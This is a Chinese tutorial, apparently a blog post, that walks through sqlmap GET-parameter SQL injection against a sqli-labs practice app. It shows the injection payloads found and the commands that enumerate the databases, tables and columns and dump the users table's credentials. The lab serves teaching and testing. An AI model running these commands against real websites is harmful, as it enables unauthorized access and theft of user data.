Sqlmap是如何GET注入的

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: Sqlmap是如何GET注入的

一、监测是否存在注入


sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1"

0a2653c851af460fa595bd959398a8f1.png

运行结果:id存在注入,可能存在的类型:报错注入、布尔盲注、时间盲注、联合注入


GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 3164=3164 AND 'mfxU'='mfxU
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x7170787671,(SELECT (ELT(6170=6170,1))),0x7171707671),6170) AND 'OQBr'='OQBr
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 5125 FROM (SELECT(SLEEP(5)))KhmQ) AND 'FLCn'='FLCn
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-3273' UNION ALL SELECT NULL,CONCAT(0x7170787671,0x6749526d50674c70454d46764779685973766f45787156766e574b6b7244554c6d697559506b6d54,0x7171707671),NULL-- -
---
[12:46:50] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.15.11, PHP 5.4.45
back-end DBMS: MySQL >= 5.6
[12:46:50] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'


二、获取数据库名称


sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" --dbs

0eacb84100b54626af849e6b562bf92a.png


运行结果:


[12:55:26] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.45, Nginx 1.15.11
back-end DBMS: MySQL >= 5.6
[12:55:26] [INFO] fetching database names
available databases [9]:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] sys
[*] www_dgdg_com
[*] www_zm_com
[12:55:26] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'


三、获取表名


sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" -D security --tables

-D指定数据库名称


--tables获取表名


2d65d23f6d4748949b924e4057485923.png


运行结果:


[12:58:52] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.15.11, PHP 5.4.45
back-end DBMS: MySQL >= 5.6
[12:58:52] [INFO] fetching tables for database: 'security'
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+
[12:58:52] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'


四、获取列名

sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" -D security -T users --columns

-T指定表名


2e9b90b2ca334476abebe75bafe6eeaa.png


运行结果:


[13:01:32] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.15.11, PHP 5.4.45
back-end DBMS: MySQL >= 5.6
[13:01:32] [INFO] fetching columns for table 'users' in database 'security'
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+
[13:01:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'


五、获取字段内容


sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" -D security -T users --dump "password,username"

4cebaac233b3433da32a72337a77fc60.png


运行结果:


[13:04:07] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.15.11, PHP 5.4.45
back-end DBMS: MySQL >= 5.6
[13:04:07] [INFO] fetching columns for table 'users' in database 'security'
[13:04:07] [INFO] fetching entries for table 'users' in database 'security'
Database: security
Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+
[13:04:07] [INFO] table 'security.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.139.129/dump/security/users.csv'                                              
[13:04:07] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'


禁止非法,后果自负

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
6月前
|
安全 关系型数据库 MySQL
Sqlmap2021 -- Cookie注入
Sqlmap2021 -- Cookie注入
361 1
|
6月前
|
SQL 安全 关系型数据库
Sqlmap2021 -- Referer注入
Sqlmap2021 -- Referer注入
136 1
|
5月前
|
SQL 数据库 关系型数据库
【SQL注入】 注入神器sqlmap的使用
数据库 SQL注入漏洞 sqlmap
195 2
|
6月前
|
关系型数据库 MySQL 应用服务中间件
Sqlmap -- POST注入
Sqlmap -- POST注入
85 2
|
6月前
|
数据库
报错注入
报错注入
36 1
|
6月前
|
SQL 关系型数据库 MySQL
注入工具 -- sqlmap(注入参数)
注入工具 -- sqlmap(注入参数)
106 0
|
6月前
|
安全 关系型数据库 MySQL
Mysql注入 -- 报错注入
Mysql注入 -- 报错注入
51 0
|
6月前
|
Web App开发 数据安全/隐私保护 iOS开发
注入工具 -- sqlmap(设置请求参数)
注入工具 -- sqlmap(设置请求参数)
79 0
|
6月前
|
安全 数据库
注入工具 -- sqlmap(枚举信息)
注入工具 -- sqlmap(枚举信息)
56 0
|
6月前
|
数据库
13、报错注入(Get)
13、报错注入(Get)
30 0